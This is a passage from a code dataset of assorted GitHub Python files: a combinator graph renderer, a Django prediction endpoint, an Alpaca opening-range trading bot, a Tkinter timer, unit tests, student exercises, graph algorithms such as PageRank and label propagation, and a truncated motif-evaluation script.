'3T', '˜', '⊸₁', '⟜₁', 'H₂', ' ', 'B', 'Π', 'B₀.₅']:\n dot.node(combinator, style='filled', fillcolor = 'lightgray', label=l)\n else: \n dot.node(combinator, label=l)\n\nfor combinator, deps in combinators.items():\n for (dep, t) in deps:\n if t == EQ: s = 'dashed'\n if t == ID: s = 'solid'\n if t == FK: s = 'dotted'\n if t == BOTH: s = 'dashed,bold'\n dot.edge(dep, combinator, style=s)\n\ndot.render(directory='.').replace('\\\\', '/')\n","repo_name":"codereport/plgraph","sub_path":"text-only/thesis/combinator-graph.py","file_name":"combinator-graph.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"} +{"seq_id":"28430981613","text":"from django.shortcuts import render\nfrom django.http import HttpResponseBadRequest, HttpResponse\nimport json\nimport pandas as pd\nfrom patient_readmission.settings import PATIENT_PREDICTION_MODEL\n\n\n### move to api file\n# model = pickle.load(open('model_asd','rb'))\ndef get_prediction(request):\n if request.method != \"POST\":\n return\n pred_dict = json.loads(request.body)\n print(pred_dict)\n print('processing data...')\n pred_X = pd.DataFrame.from_dict(pred_dict, orient='columns')\n print(pred_X)\n predictions = PATIENT_PREDICTION_MODEL.predict(pred_X).tolist()\n return HttpResponse(json.dumps({\n \"predictions\": predictions\n }), content_type=\"application/json\")","repo_name":"sanhs/ML-onboarding","sub_path":"Patient Readmission Assignment/patient_readmission/ml_model/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28702937920","text":"from config import *\nimport alpaca_trade_api as tradeapi\nfrom datetime import datetime\nimport pandas as pd\nimport smtplib, ssl\nimport sqlite3\n\ncontext = ssl.create_default_context()\n\nstrategy_id = 1\n\nconnection = sqlite3.connect(DB_FILE)\nconnection.row_factory = sqlite3.Row\ncursor = connection.cursor()\n\ncursor.execute(\"\"\"\n SELECT symbol, name FROM stock JOIN stock_strategy ON stock_strategy.stock_id = stock.id WHERE stock_strategy.strategy_id = ?\n \"\"\", (strategy_id,))\n\nstocks = cursor.fetchall()\nsymbols = [stock['symbol'] for stock in stocks]\n\n#symbols = ['MSF\n#T', 'NIO', 'GD', 'WPC', 'LMT', 'C', 'BAC', 'INTC', 'ACB', 'UBER', 'STT', 'BIDU', 'ALB', 'WMT', 'BABA', 'AAL', 'CVS', 'TEVA', 'XOM', 'GM', 'T', 'GE', 'GME', 'AMC', 'EZGO']\nprint (symbols)\n\n#calulcate first 15 minute bar and make trade based on movement\n#current_date = date.date.today()\ncurrent_date = '2021-03-05'\nstart_bar = f\"{current_date} 09:30:00-05:00\"\nend_bar = f\"{current_date} 09:45:00-05:00\"\n\n\napi = tradeapi.REST(API_KEY, SECRET_KEY, BASE_URL)\norders = api.list_orders(status = 'all', after=f\"{current_date}T13:30:00Z\")\nexisting_order_symbols = [order.symbol for order in orders]\n\nmessages = []\n\nfor symbol in symbols:\n \n #minute_bars = api.get_barset(symbol, '5Min', start = '2021-03-05T09:30:00-05:00', end = '2021-03-05T16:30:00-05:00')\n minute_bars = api.get_barset(symbol, '5Min', start=start_bar).df\n minute_bars.columns = minute_bars.columns.droplevel(0)\n #print(minute_bars)\n print(symbol)\n \n opening_range_mask = (minute_bars.index >= start_bar) & (minute_bars.index < end_bar)\n opening_range_bars = minute_bars.loc[opening_range_mask]\n print(opening_range_bars)\n\n opening_range_low = opening_range_bars['low'].min()\n opening_range_high = opening_range_bars['high'].max()\n opening_range = opening_range_high - opening_range_low \n print(opening_range_low)\n print(opening_range_high)\n print(opening_range)\n\n after_opening_range_mask = minute_bars.index >= end_bar\n after_opening_range_bars = minute_bars.loc[after_opening_range_mask]\n\n after_opening_range_breakout = after_opening_range_bars[after_opening_range_bars['close'] > opening_range_high]\n\n if not after_opening_range_breakout.empty:\n if symbol not in existing_order_symbols:\n limit_price = after_opening_range_breakout.iloc[0]['close']\n \n messages.append(f\"placing order for {symbol} at {limit_price}, closed above {opening_range_high}\\n\\n{after_opening_range_breakout.iloc[0]}\\n\\n\")\n \n api.submit_order(\n symbol = symbol,\n qty = 10,\n side = 'buy',\n type = 'limit',\n time_in_force = 'day',\n order_class = 'bracket',\n limit_price = limit_price,\n take_profit = dict(\n limit_price = limit_price + opening_range, \n ),\n stop_loss = dict(\n stop_price = limit_price - opening_range,\n )\n )\n else:\n print(f\"Alreay an order for {symbol}, skipping\")\n\nprint(messages)\nwith smtplib.SMTP_SSL(EMAIL_HOST, EMAIL_PORT, context=context) as server:\n server.login(EMAIL_ADDRESS, EMAIL_PASSWORD)\n\n email_message = \"\\n\\n\".join(messages)\n server.sendmail(EMAIL_ADDRESS, 'jamesandrew7860@gmail.com', email_message)","repo_name":"JACnapps/Stonks","sub_path":"opening_range_breakout.py","file_name":"opening_range_breakout.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6569986452","text":"import tkinter as tk\nfrom datetime import datetime, timedelta\nimport pygame.mixer\nimport time\nimport os\n\npygame.mixer.init()\n\ndef play_alarm():\n sound_file_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'alarm.mp3')\n pygame.mixer.music.load(sound_file_path)\n pygame.mixer.music.play()\n\nclass TimerApp:\n def __init__(self, master):\n self.master = master\n self.master.title(\"Work & Entertainment Timer\")\n self.master.geometry(\"400x250\")\n\n self.time_left = timedelta()\n self.work_time = timedelta()\n self.entertainment_time = timedelta()\n self.current_mode = \"stopped\"\n self.prev_time = time.perf_counter()\n\n self.display = tk.Label(self.master, text=\"00:00:00\", font=(\"Arial\", 24))\n self.display.pack(pady=20)\n\n self.work_label = tk.Label(self.master, text=\"Work Time: 00:00:00\", font=(\"Arial\", 14))\n self.work_label.pack()\n\n self.entertainment_label = tk.Label(self.master, text=\"Entertainment Time: 00:00:00\", font=(\"Arial\", 14))\n self.entertainment_label.pack()\n\n self.start_work_button = tk.Button(self.master, text=\"Start Work\", command=self.start_work)\n self.start_work_button.pack(fill=tk.X)\n\n self.start_entertainment_button = tk.Button(self.master, text=\"Start Entertainment\", command=self.start_entertainment)\n self.start_entertainment_button.pack(fill=tk.X)\n\n self.stop_button = tk.Button(self.master, text=\"Stop\", command=self.stop_timer)\n self.stop_button.pack(fill=tk.X)\n\n self.update_timer()\n\n def start_work(self):\n self.current_mode = \"work\"\n self.prev_time = time.perf_counter()\n self.update_timer()\n\n def start_entertainment(self):\n self.current_mode = \"entertainment\"\n self.prev_time = time.perf_counter()\n self.update_timer()\n\n def stop_timer(self):\n self.current_mode = \"stopped\"\n\n def update_timer(self):\n current_time = time.perf_counter()\n elapsed_time = timedelta(seconds=current_time - self.prev_time)\n self.prev_time = current_time\n\n if self.current_mode == \"work\":\n self.work_time += elapsed_time\n self.time_left = self.work_time - self.entertainment_time\n elif self.current_mode == \"entertainment\":\n if self.entertainment_time < self.work_time:\n self.entertainment_time += elapsed_time\n self.time_left = self.work_time - self.entertainment_time\n if self.entertainment_time >= self.work_time:\n self.entertainment_time = self.work_time\n self.time_left = timedelta()\n self.current_mode = \"stopped\"\n play_alarm()\n\n if self.time_left < timedelta(seconds=0):\n self.time_left = timedelta(seconds=0)\n\n self.display.config(text=str(self.time_left).split(\".\")[0]) # Remove milliseconds from the displayed string\n self.work_label.config(text=f\"Work Time: {str(self.work_time).split('.')[0]}\")\n self.entertainment_label.config(text=f\"Entertainment Time: {str(self.entertainment_time).split('.')[0]}\")\n\n if self.current_mode != \"stopped\":\n self.master.after(10, self.update_timer)\n\nroot = tk.Tk()\napp = TimerApp(root)\nroot.mainloop()","repo_name":"ChengHanWu/WorkLifeBalancer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11413266898","text":"import unittest\nimport pandas as pd\nimport pandas.util.testing as pdt\nimport numpy as np\nfrom pygenesig.gini import *\nfrom pygenesig.tools import load_gmt, translate_signatures, jaccard_ind\nfrom pygenesig.file_formats import read_gct\nimport os\n\n\ndef sort_dict_of_lists(the_dict):\n \"\"\"Make dict of unordered lists compareable.\"\"\"\n return {key: sorted(value) for key, value in the_dict.items()}\n\n\nclass TestGini(unittest.TestCase):\n def setUp(self):\n self.expr = read_gct(\"./gini_david/data/roche_annotated_cpm.gct\")\n self.pdata = pd.read_csv(\n \"./gini_david/data/roche_annotated_pdata.tsv\", sep=\"\\t\"\n )\n self.fdata = pd.read_csv(\n \"./gini_david/data/roche_annotated_fdata.tsv\", sep=\"\\t\"\n )\n self.target = self.pdata.SIG_NAME.as_matrix()\n\n def assertSignaturesAlmostEqual(self, signatures1, signatures2, min_jaccard=0.95):\n \"\"\"Check that two signature dictionaries are almost equal.\n The Jaccard index between the two signature dictionaries needs to be\n above a certain threshold\"\"\"\n self.assertEquals(signatures1.keys(), signatures2.keys())\n for tissue in signatures1:\n self.assertGreaterEqual(\n jaccard_ind(signatures1[tissue], signatures2[tissue]),\n min_jaccard,\n msg=\"Signature '{}' is not almost equal. \"\n \"Sig1 = {}, Sig2 = {}\".format(\n tissue, signatures1[tissue], signatures2[tissue]\n ),\n )\n\n def test_gini_with_aggegation(self):\n \"\"\"it should not make a difference to generate signatures on an already aggregated matrix.\"\"\"\n mat_aggr = collapse_matrix(self.expr, self.target, axis=1)\n sg1 = GiniSignatureGenerator(self.expr, self.target)\n sig1 = sort_dict_of_lists(sg1.mk_signatures())\n sg2 = GiniSignatureGenerator(mat_aggr.as_matrix(), mat_aggr.columns)\n sig2 = sort_dict_of_lists(sg2.mk_signatures())\n self.assertDictEqual(sig1, sig2)\n\n def test_gtex_signatures(self):\n \"\"\"The signatures generated with this packaage should be identical\n to those generated with David's R script (see folder gini_david).\"\"\"\n\n sigs_david_geneid = sort_dict_of_lists(\n load_gmt(\"./gini_david/data/exp.tissuemark.gtex.roche.GeneID.progmt\")\n )\n sigs_david_symbol = sort_dict_of_lists(\n load_gmt(\"./gini_david/data/exp.tissuemark.gtex.roche.symbols.gmt\")\n )\n\n sg = GiniSignatureGenerator(\n self.expr, self.target, min_gini=0.8, max_rk=3, min_expr=5\n )\n sigs = sg.mk_signatures()\n rosetta_geneid = dict(enumerate((str(x) for x in self.fdata.GeneID)))\n rosetta_symbol = dict(enumerate(self.fdata.GeneSymbol))\n sigs_geneid = sort_dict_of_lists(translate_signatures(sigs, rosetta_geneid))\n sigs_symbol = sort_dict_of_lists(translate_signatures(sigs, rosetta_symbol))\n\n self.assertSignaturesAlmostEqual(\n sigs_david_geneid, sigs_geneid, min_jaccard=0.9\n )\n self.assertSignaturesAlmostEqual(\n sigs_david_symbol, sigs_symbol, min_jaccard=0.9\n )\n","repo_name":"grst/pygenesig","sub_path":"pygenesig/tests_extended/test_gini_extended.py","file_name":"test_gini_extended.py","file_ext":"py","file_size_in_byte":3182,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"12967470881","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport d3dshot\nimport tensorflow as tf\nimport cv2\nfrom PIL import Image, ImageGrab\nimport numpy as np\nimport win32gui as w\nimport win32api, win32con\nfrom ctypes import windll\nfrom time import sleep\n\n\n# In[2]:\n\n\nkeyList = [\"\\b\"]\nfor char in \"ABCDEFGHIJKLMNOPQRSTUVWXYZ 123456789,.\":\n\tkeyList.append(char)\n\ndef checkKeys():\n\tkeys = []\n\tfor key in keyList:\n\t\tif win32api.GetAsyncKeyState(ord(key)):\n\t\t\tkeys.append(key)\n\treturn keys\n\n\n# In[3]:\n\n\n# Grab game screenshot\ndef getScreenshot():\n while True:\n sleep(2)\n win32api.keybd_event(win32con.VK_SNAPSHOT,1)\n i = ImageGrab.grabclipboard()\n i = np.array(i,dtype='uint8')\n i = cv2.cvtColor(i, cv2.COLOR_BGR2RGB)\n #i.show()\n cv2.imshow(\"ss\",i)\n cv2.waitKey(500)\n\n\n# In[4]:\n\n\nif __name__ == \"__main__\":\n sleep(2)\n user32 = windll.user32\n user32.SetProcessDPIAware()\n getScreenshot()\n\n\n# In[ ]:\n\n\nget_ipython().system('^x')","repo_name":"pranjal-joshi/Auto-Py-lot","sub_path":"dlap.py","file_name":"dlap.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"16026504004","text":"# 최대 페이지 수, S2, dp-knapsack\n\nfrom sys import stdin\n\nn, m = map(int, stdin.readline().split())\narr = [[0,0]]\n\nfor _ in range(m):\n day, page = map(int, stdin.readline().split())\n arr.append([day, page])\n\ndp = [[0] * (n+1) for _ in range(m+1)]\n\nfor i in range(1, m + 1): # 챕터 (m개)\n for j in range(1, n + 1): # 남은 날짜\n day = arr[i][0] # m번째 날의 소요되는 날짜\n page = arr[i][1] # m번째 날의 읽을 수 있는 page\n\n if j - day < 0: # 읽을 수 없음 (남은 날짜보다 요구되는 날짜가 더 많음)\n dp[i][j] = dp[i-1][j]\n else: # 읽을 수 있음\n dp[i][j] = max(dp[i-1][j], dp[i-1][j - day] + page)\n # max(챕터를 읽지 않는 경우, 읽는 경우)\nprint(dp[m][n])","repo_name":"lookinmin/CodingTest","sub_path":"DP/BOJ_16493.py","file_name":"BOJ_16493.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16075510332","text":"import unittest\nimport filecmp\nfrom concordance import *\nimport time\n\nclass TestList(unittest.TestCase):\n\n def test_01(self):\n conc = Concordance()\n conc.load_stop_table(\"stop_words.txt\")\n conc.load_concordance_table(\"file1.txt\")\n conc.write_concordance(\"file1_con.txt\")\n self.assertTrue(filecmp.cmp(\"file1_con.txt\", \"file1_sol.txt\"))\n\n def test_02(self):\n conc = Concordance()\n conc.load_stop_table(\"stop_words.txt\")\n conc.load_concordance_table(\"file2.txt\")\n conc.write_concordance(\"file2_con.txt\")\n self.assertTrue(filecmp.cmp(\"file2_con.txt\", \"file2_sol.txt\"))\n\n def test_03(self):\n conc = Concordance()\n conc.load_stop_table(\"stop_words.txt\")\n conc.load_concordance_table(\"declaration.txt\")\n conc.write_concordance(\"declaration_con.txt\")\n self.assertTrue(filecmp.cmp(\"declaration_con.txt\", \"declaration_sol.txt\"))\n\n def test_FileNotFoundError1(self):\n conc = Concordance()\n with self.assertRaises(FileNotFoundError): conc.load_stop_table(\"not_a_stop_words.txt\")\n\n def test_FileNotFoundError2(self):\n conc = Concordance()\n conc.load_stop_table(\"stop_words.txt\")\n with self.assertRaises(FileNotFoundError): conc.load_concordance_table(\"not_even_a_file.txt\")\n\n def test_empty_input(self):\n conc = Concordance()\n conc.load_stop_table(\"stop_words.txt\")\n conc.load_concordance_table(\"empty.txt\")\n conc.write_concordance(\"empty_con.txt\")\n self.assertTrue(filecmp.cmp(\"empty_con.txt\", \"empty_soln.txt\"))\n\n def test_punctuation(self):\n conc = Concordance()\n conc.load_stop_table(\"stop_words.txt\")\n conc.load_concordance_table(\"punctuation.txt\")\n conc.write_concordance(\"punctuation_con.txt\")\n self.assertTrue(filecmp.cmp(\"punctuation_con.txt\", \"empty_soln.txt\"))\n\n def test_single_line_duplicate_words(self):\n conc = Concordance()\n conc.load_stop_table(\"stop_words.txt\")\n conc.load_concordance_table(\"file3.txt\")\n conc.write_concordance(\"file3_con.txt\")\n self.assertTrue(filecmp.cmp(\"file3_con.txt\", \"file3_sol.txt\"))\n\n def test_file_large_single_duplicate(self):\n file = open(\"the_file.txt\", \"w+\")\n for i in range(50000):\n for j in range(20):\n file.write(\"the \")\n file.write(\"\\n\")\n file.close()\n\n def test_file_large_single_duplicate_solution_generator(self):\n file = open(\"the_file_sol.txt\", \"w+\")\n file.write(\"the:\")\n for i in range(50000):\n file.write(\" \")\n file.write(str(i + 1))\n file.close()\n\n def test_the_file(self):\n start_time = time.time()\n conc = Concordance()\n conc.load_stop_table(\"empty.txt\")\n conc.load_concordance_table(\"the_file.txt\")\n conc.write_concordance(\"the_file_con.txt\")\n self.assertTrue(filecmp.cmp(\"the_file_con.txt\", \"the_file_sol.txt\"))\n end_time = time.time()\n print(\"The\")\n print(end_time - start_time)\n\n def test_dic(self):\n start_time = time.time()\n conc = Concordance()\n conc.load_stop_table(\"stop_words.txt\")\n conc.load_concordance_table(\"dic_a-c.txt\")\n conc.write_concordance(\"dic_a-c_con.txt\")\n self.assertTrue(filecmp.cmp(\"dic_a-c_con.txt\", \"dic_a-c_sol.txt\"))\n end_time = time.time()\n print(\"Dic\")\n print(end_time - start_time)\n \n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"jschre01/CSC_202","sub_path":"Projects/p4-jschre01/concordance_tests.py","file_name":"concordance_tests.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"46581893894","text":"def celsius(c):\n return (c - 32) * (5/9)\n\ndef fahrenheit(f):\n return (f * (9/5)) + 32 \n\n\ndef main():\n temp_um = float(input())\n escala_um = input().upper()[0]\n temp_dois = float(input())\n escala_dois = input().upper()[0]\n if (escala_um in 'C' and escala_dois in 'C') or (escala_um in 'F' and escala_dois in 'F'):\n if temp_um > temp_dois:\n temperatura = (temp_um, escala_um)\n else:\n temperatura = (temp_dois, escala_dois)\n\n else:\n if escala_um in 'F':\n temp_atual = celsius(temp_um)\n if temp_atual > temp_dois:\n temperatura = (temp_um, escala_um)\n else:\n temperatura = (temp_dois, escala_dois)\n elif escala_um in 'C':\n temp_atual = fahrenheit(temp_um)\n if temp_atual > temp_dois:\n temperatura = (temp_um, escala_um)\n else:\n temperatura = (temp_dois, escala_dois)\n\n print(temperatura)\n\nif __name__ == '__main__':\n main()\n","repo_name":"SirLeonardoFerreira/Atividades-ifpi","sub_path":"Atividade 01 - semana 09/questão1_semana9_atividade01_runcodes.py","file_name":"questão1_semana9_atividade01_runcodes.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73722213814","text":"import types\n\ndef dhier_reduce(lod, key, nonexistant=None):\n\tret = {}\n\tfor d in lod:\n\t\tif not isinstance(d, dict):\n\t\t\td = dict(d)\n\t\tv = d.pop(key, nonexistant)\n\t\tif v not in ret:\n\t\t\tret[v] = []\n\t\tret[v].append(d)\n\treturn {key: ret}\n\ndef dhier_reduce_many(lod, keys, map_fn=None, nonexistant=None):\n\n\tif len(keys) == 0:\n\t\treturn map_fn(lod) if map_fn is not None else lod\n\n\tk = keys[0]\n\tret = {}\n\td = dhier_reduce(lod, k, nonexistant)[k]\n\tfor xk, xd in d.iteritems():\n\t\tret[xk] = dhier_reduce_many(xd, keys[1:], map_fn, nonexistant)\n\treturn ret\n\n## returns a tuple of\n# ret1: a hierarchical dict with key=parameter value \n# val=hiearchical dict or data list\n# ret2: a dict with key->set of parameters\ndef dhier_reduce_many2(lod, keys, map_fn=None, nonexistant=None):\n\n\tif len(keys) == 0:\n\t\tret1 = map_fn(lod) if map_fn is not None else lod\n\t\tret2 = {}\n\t\treturn (ret1, ret2)\n\n\tk = keys[0]\n\tret1 = {}\n\tret2v = []\n\tret2 = {}\n\td = dhier_reduce(lod, k, nonexistant)[k]\n\tfor xk, xd in d.iteritems():\n\t\tret1[xk], ret2_prev = dhier_reduce_many2(xd, keys[1:], map_fn, nonexistant)\n\t\tret2v.append(xk)\n\t\tfor param_key, param_set in ret2_prev.iteritems():\n\t\t\tif param_key not in ret2:\n\t\t\t\tret2[param_key] = param_set\n\t\t\telse:\n\t\t\t\tret2[param_key] = ret2[param_key].union(param_set)\n\n\tassert k not in ret2\n\tret2[k] = set(ret2v)\n\treturn (ret1, ret2)\n\ndef dhier_iterate_leafs(d):\n\tfor v in d.itervalues():\n\t\tif isinstance(v, types.DictType):\n\t\t\tfor v_ in dhier_iterate_leafs(v):\n\t\t\t\tyield v_\n\t\telse:\n\t\t\tyield v\n","repo_name":"kkourt/pylib","sub_path":"dict_hier.py","file_name":"dict_hier.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38721915468","text":"# Author: Mujib Ansari\r\n# Date: Jan 23, 2021\r\n\r\n# Problem Statement: WAP to check given number is prime or not\r\ndef is_prime(number):\r\n isPrime = True\r\n if number > 1:\r\n for i in range(2, int(number / 2) + 1):\r\n if number % i == 0:\r\n isPrime = False\r\n break\r\n else:\r\n isPrime = False\r\n print (number, \"is Prime.\") if isPrime else print(number, \"is NOT prime.\")\r\n\r\n\r\nn = int(input(\"Enter a number : \"))\r\nis_prime(n)\r\n","repo_name":"mujib2953/general-codes","sub_path":"python/check_prime_number.py","file_name":"check_prime_number.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29922952451","text":"#!/usr/bin/python3\ndef max_integer(my_list=[]):\n if len(my_list) == 0:\n return None\n else:\n maxVal = 0\n for i in my_list:\n if i > maxVal:\n maxVal = i\n return maxVal\n","repo_name":"Heyeman/alx-higher_level_programming","sub_path":"0x03-python-data_structures/9-max_integer.py","file_name":"9-max_integer.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21850878552","text":"from collections import deque\nfrom random import shuffle\n\n# - # - # - # - # - # - # Constantes # - # - # - # - # - # - #\n\nDAMPING_FACTOR = 0.85\nK = 0.0000001\n\n# - # - # - # - # - # Funciones auxiliares # - # - # - # - # - #\n\ndef max_frecuencia(entradas, labels):\n \"\"\"\n Función que devuelve la etiqueta que más se repite en un conjunto\n de vértices\n \"\"\"\n frecuencias = {}\n for v in entradas:\n label_v = labels[v]\n frecuencias[label_v] = frecuencias.get(label_v, 0) + 1\n return max(frecuencias, key= frecuencias.get)\n\n\n# - # - # - # - # - # - # - # - # - # - # - # - # - # - # - #\n# Biblioteca de funciones genéricas #\n# para grafos no pesados y dirigidos #\n# (Algunas funciones funcionan incluso para grafos #\n# no dirigidos o pesados, pero no es el objetivo) #\n# - # - # - # - # - # - # - # - # - # - # - # - # - # - # - #\n\ndef bfs(grafo, origen, destino = None, n = None):\n \"\"\"\n Busca los caminos minimos dado un vértice de origen\n - En caso de que se especifique un destino, se corta la busqueda\n cuando se encuentra el camino minimo hasta el destino\n - En caso de que se especifique un n, se corta la busqueda cuando\n ya se encontraron todos los caminos de longitud n\n \"\"\"\n visitados = set()\n padres = {}\n orden = {}\n padres[origen] = None\n orden[origen] = 0\n\n visitados.add(origen)\n q = deque()\n q.append(origen)\n\n while len(q) > 0:\n v = q.popleft()\n for w in grafo.adyacentes(v):\n if w not in visitados:\n padres[w] = v\n orden[w] = orden[v] + 1\n visitados.add(w)\n q.append(w)\n\n if destino != None and w == destino:\n return padres, orden\n if n != None and orden[w] > int(n):\n return padres, orden\n\n return padres, orden\n\n\ndef componentes_fuertemente_conexas(grafo, v, cosas):\n \"\"\"\n Algoritmo que busca las componentes fuertemente conexas de un grafo\n \"\"\"\n visitados, apilados, todas_cfc, orden, mb, pila = cosas\n global orden_contador\n\n visitados.add(v)\n orden[v] = orden_contador\n mb[v] = orden[v]\n\n orden_contador += 1\n pila.appendleft(v)\n apilados.add(v)\n\n for w in grafo.adyacentes(v):\n if w not in visitados:\n cosas = [visitados, apilados, todas_cfc, orden, mb, pila]\n componentes_fuertemente_conexas(grafo, w, cosas)\n \n if w in apilados:\n mb[v] = min(mb[v], mb[w])\n \n if orden[v] == mb[v] and len(pila) > 0:\n nueva_cfc = []\n while True:\n w = pila.popleft()\n apilados.remove(w)\n nueva_cfc.append(w)\n if w == v:\n break\n\n todas_cfc.append(nueva_cfc)\n\ndef buscar_cfcs(grafo, vertice):\n \"\"\"\n Función que devuelve las componentes fuertemente conexas de un grafo\n en una lista\n \"\"\"\n cosas = [set(), set(), [], {}, {}, deque()]\n global orden_contador\n orden_contador = 0\n componentes_fuertemente_conexas(grafo, vertice, cosas)\n return cosas[2]\n\n\ndef grados_salida(grafo, set_lectura = None): \n \"\"\"\n Función que devuelve un diccionario con los grados de salida de cada vértice\n - En caso en que se especifique un set_lectura, se consideran únicamente los\n vértices que pertenecen a ese conjunto\n \"\"\"\n grados = {}\n for v in set_lectura if set_lectura else grafo.obtener_vertices():\n grados[v] = 0\n for w in grafo.adyacentes(v):\n if not set_lectura or w in set_lectura:\n grados[v]+=1\n return grados\n\n\ndef vertices_entrada(grafo, set_lectura = None):\n \"\"\"\n Función que devuelve un diccionario de sets con los vertices que apuntan a\n cada vértice\n - En caso en que se especifique un set_lectura, se consideran únicamente los\n vértices que pertenecen a ese conjunto\n \"\"\"\n entrada = {}\n for v in set_lectura if set_lectura else grafo.obtener_vertices():\n entrada[v] = set()\n for v in set_lectura if set_lectura else grafo.obtener_vertices():\n for w in grafo.adyacentes(v):\n if not set_lectura or w in set_lectura:\n entrada[w].add(v)\n return entrada\n\n\ndef obtener_ciclo(grafo, origen, vertice, lista, visitados, n):\n \"\"\"\n Busca por backtracking un ciclo en un grafo dado un origen, un vertice de\n origen y una cantidad determinada de vertices que debe tener el ciclo\n \"\"\"\n if len(lista) == n:\n if vertice == origen:\n lista.append(vertice)\n return lista\n return None\n\n if vertice == origen and len(lista) != 0:\n return None\n\n lista.append(vertice)\n visitados.add(vertice)\n\n for w in grafo.adyacentes(vertice):\n if w not in visitados or w == origen: \n if obtener_ciclo(grafo, origen, w, lista, visitados, n):\n return lista\n\n lista.pop()\n visitados.remove(vertice)\n return None\n\n\ndef label_propagation(grafo, vertice, labels, dict_comunidad, entradas):\n \"\"\"\n Algoritmo de label propagation que propaga los labels de los vértices\n generando conjuntos de vertices\n \"\"\"\n aleatorio = grafo.obtener_vertices()\n\n while (True):\n cambio = False\n for v in aleatorio:\n entradas_v = entradas[v]\n max_frec = max_frecuencia(entradas_v, labels) if len(entradas_v) > 0 else labels[v] # Si no hay entradas, se mantiene el label\n \n if labels[v] != max_frec:\n dict_comunidad[labels[v]].remove(v)\n dict_comunidad[max_frec].add(v)\n if not dict_comunidad[labels[v]]:\n del dict_comunidad[labels[v]]\n labels[v] = max_frec\n cambio = True\n \n if not cambio:\n break\n\n\ndef pr(grafo, salidas, n, dict_pr): # -> O(P + L)\n \"\"\"\n Algoritmo de PageRank, calcula la probabilidad para cada vértice\n del grafo de aparecer entre los adyacentes de otro vértice\n Devuelve True si convergió, False si no\n \"\"\"\n vertices = grafo.obtener_vertices()\n\n dentro_sum = {}\n for v in vertices: # O(P)\n pr = dict_pr[v] \n l = salidas[v]\n dentro_sum[v] = pr / l if l != 0 else 0\n \n sumas = {v: 0 for v in vertices} # O(P)\n for j in vertices: # } O(P + L)\n for i in grafo.adyacentes(j): # }\n sumas[i] += dentro_sum[j]\n\n boolean = False\n for v in vertices: # O(P)\n pr_v = (1 - DAMPING_FACTOR) / n + DAMPING_FACTOR * sumas[v]\n if abs(pr_v - dict_pr[v]) > K: # Se define si converge o no\n boolean = True\n dict_pr[v] = pr_v\n\n return boolean","repo_name":"ElianaHarriet/Algo-II","sub_path":"Parte 4/tp3/biblioteca.py","file_name":"biblioteca.py","file_ext":"py","file_size_in_byte":6794,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9710408040","text":"import pandas as pd\nimport numpy as np\nimport os\nimport sys\nimport glob\nimport shutil\nimport re\nimport io\n\n\ndef main():\n \"\"\" Main function \"\"\"\n __doc__ = \"Evaluate the run based on expected values\"\n outpath = os.path.dirname(os.path.realpath(__file__))\n os.chdir(outpath)\n for runtype in ['GN', 'TR']:\n for sample in [\"PUM2_K562_ENCSR661ICQ_2_paired_end\", \"PUM2_K562_ENCSR661ICQ_2_single_end\"]:\n a = pd.read_csv(\n f'results/{runtype}/{sample}/{sample}_total_peaks.csv',\n sep='\\t', header=0, index_col=None)\n expected = pd.read_csv(\n 'means_crosslink.tsv',\n sep='\\t', header=0, index_col=None)\n a['center'] = a['start'] + a['crosslink']\n\n for index, row in a.iterrows():\n distance = (\n row['center'] - expected['crosslink'][expected['strand'] == row['strand']]).abs().min()\n if distance <= 50:\n a.loc[index, 'distance'] = distance\n else:\n a.loc[index, 'distance'] = np.nan\n if runtype == \"GN\":\n rmsd = np.sqrt(np.sum((a[\"distance\"]**2)) / len(a[~a.distance.isna()]))\n outlier_percentage = len(a[a.distance.isna()])/len(a) * 100\n\n\n # expected = pd.read_csv(\n # 'means_peak_center.tsv',\n # sep='\\t', header=0, index_col=None)\n # a['center'] = a['start'] + a['mi']\n\n # for index, row in a.iterrows():\n # distance = (row['center'] - expected['peak_center'][expected['strand'] == row['strand']]).abs().min()\n # if distance <= 50:\n # a.loc[index, 'distance'] = distance\n # else:\n # a.loc[index, 'distance'] = np.nan\n # sys.stdout.write(f'rmsd of peak_center as center: {np.sqrt(np.sum((a[\"distance\"]**2)) / len(a[~a.distance.isna()]))}\\n'\n # )\n # sys.stdout.write(f'percentage of outlier peaks: {len(a[a.distance.isna()])/len(a) * 100} %\\n'\n # )\n\n # add the new test best pwm\n path = f'results/{runtype}/{sample}/motif_analysis_final/peak_center/motif_enrichment.tsv'\n a = pd.read_csv(path, sep='\\t', header=0, index_col=0)\n b = a.loc[a['mean_enrichment'][a['motif'].str.contains('trimmed')].idxmax(), 'motif']\n run = b.split('_')[-1].split('.')[0]\n name = path.split('/')[-4]\n 